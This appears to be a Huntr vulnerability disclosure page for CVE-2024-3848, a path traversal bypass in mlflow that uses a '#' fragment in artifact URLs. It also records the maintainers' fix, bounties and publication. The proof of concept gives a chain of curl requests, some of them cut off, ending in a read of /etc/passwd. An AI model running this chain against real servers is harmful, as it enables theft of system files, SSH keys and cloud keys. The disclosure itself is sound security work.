

Local File Read/Path Traversal bypass in mlflow/mlflow

✓ Valid

Reported on Mar 5th 2024

Description

This is a bypass for the fix in github issue [#10653](#) ([CVE-2023-6909](#)).

A full description of the problem can be read in the references, in short:

It's possible to construct a URL that allows **path traversal** when retrieving an artifact.

The bypass uses a `'#'` in the URL to put the path in the fragment, **skipping validation**.

When creating an experiment and setting the artifact URL with a `'#'` appended before the path, such as `'http://host#/(..)/etc/'`, that address gets converted to:

`'http://host/{run_id}/artifacts#/(..)/etc/'`, which is used as a filesystem path, ignoring the protocol scheme, and allowing arbitrary file read through path traversal.

Proof of Concept

- Start mlflow:

```
$ mlflow ui
```

- Create an experiment containing an artifact location with path traversal:

```
$ curl -X POST -H 'Content-Type: application/json' -d '{"name": "bypass", "artifact"
```

- Create a run with the previous `experiment_id`:

```
$ curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "{{experim
```

Response

```
{
  "run": {
    "info": {
      "experiment_id": "224397038277278053",
      # ...
      "artifact_uri": "http://host/3ea60c6e13f544188adfc7de0d8a79a/artifacts#/.//.
      # ...
      "run_id": "3ea60c6e13f544188adfc7de0d8a79a"
```

```
    },  
    # ...  
  }  
}
```

- Create a registered model:

```
$ curl -X POST -H 'Content-Type: application/json' -d '{"name": "bypass"}' 'http://
```

- Link a model version to the previous `run_id`:

```
$ curl -X POST -H 'Content-Type: application/json' -d '{"name": "bypass", "run_id":
```

```
# Response  
{  
  "model_version": {  
    "name": "bypass",  
    "version": "1",  
    # ...  
    "source": "file:///etc/",  
    "run_id": "27b0624006b94c998434d063387a8b06",  
    # ...  
  }  
}
```

- Read `/etc/passwd`:

```
$ curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=bypass&v
```

```
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
(....)
```

Impact

Arbitrary file read, which allows the theft of ssh and cloud keys.

References

- [Local File Read \(LFI\) due to URI parsing confusion in mlflow/mlflow](#)
- [Disable '..' in query string for artifact URI #10653](#)

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🕒 A **GitHub Issue** asking the maintainers to create a **SECURITY.md** exists 2 years ago



✎️ **asimovl** modified the report 2 years ago



✎️ **asimovl** modified the report 2 years ago



✎️ **asimovl** modified the report 2 years ago



✎️ **asimovl** modified the report 2 years ago

✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



✎️ **asimovl** modified the report 2 years ago

✉️ We have sent a follow up to the **mlflow** team. We will try again in 4 days. 2 years ago



WeichenXu commented 2 years ago

Maintainer

PR: <https://github.com/mlflow/mlflow/pull/11376>

flow



A **mlflow/mlflow** maintainer has acknowledged this report 2 years ago

✎️ The scheduled publication date was automatically extended from 20th Apr 2024 to 27th Apr 2024 due to the maintainers acknowledgement of the report 2 years ago



WeichenXu commented 2 years ago

Maintainer

Could you help testing the PR ? <https://github.com/mlflow/mlflow/pull/11376> You can install it by `pip install git+https://github.com/WeichenXu123/mlflow.git@fix-bypass`



asimovl commented 2 years ago

Researcher

Looks good, I can't reproduce the exploit.



WeichenXu commented 2 years ago

Maintainer

Thanks! Is my fix <https://github.com/mlflow/mlflow/pull/11376> good to merge ? :)



asimovl commented 2 years ago

Researcher

Yes. I wrote an approving review.



WeichenXu commented 2 years ago

Maintainer

Thanks for reviewing, the fix has been merged to mlflow master.



asimovl commented 2 years ago

Researcher

Great, so could you validate this report? Thanks.



asimovl commented 2 years ago

Researcher

Hello, Huntr requires the maintainer to confirm the CVSS score and mark the report as validated. Could you do it? Thank you.



huntr-helper modified the Severity from Critical (9.1) to High (7.5) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✓ **Adam Nygate** validated this vulnerability 2 years ago

\$ **asimovl** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

🔑 **CVE-2024-3848** assigned to this report. 2 years ago

✓ **Ben Wilson** marked this as fixed in **2.12.1** with commit **f8d51e** 2 years ago

\$ **WeichenXu** has been awarded the fix bounty ✓

⚠ We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago

🔊 This vulnerability has now been published 2 years ago

🔑 **CVE-2024-3848** has now been published 2 years ago

[Sign in](#) to join this conversation

CVE
CVE-2024-3848
Published

Vulnerability Type
CWE-29: Path Traversal: '..\filename'

Severity
High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
2.11.0

Visibility
Public

Status
Fixed

Disclosure Bounty
\$750

Fix Bounty
\$187.5

Found by



asimovl

@asimovl

UNPROVEN



Fixed by



WeichenXu

@weichenxu123

UNPROVEN





© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)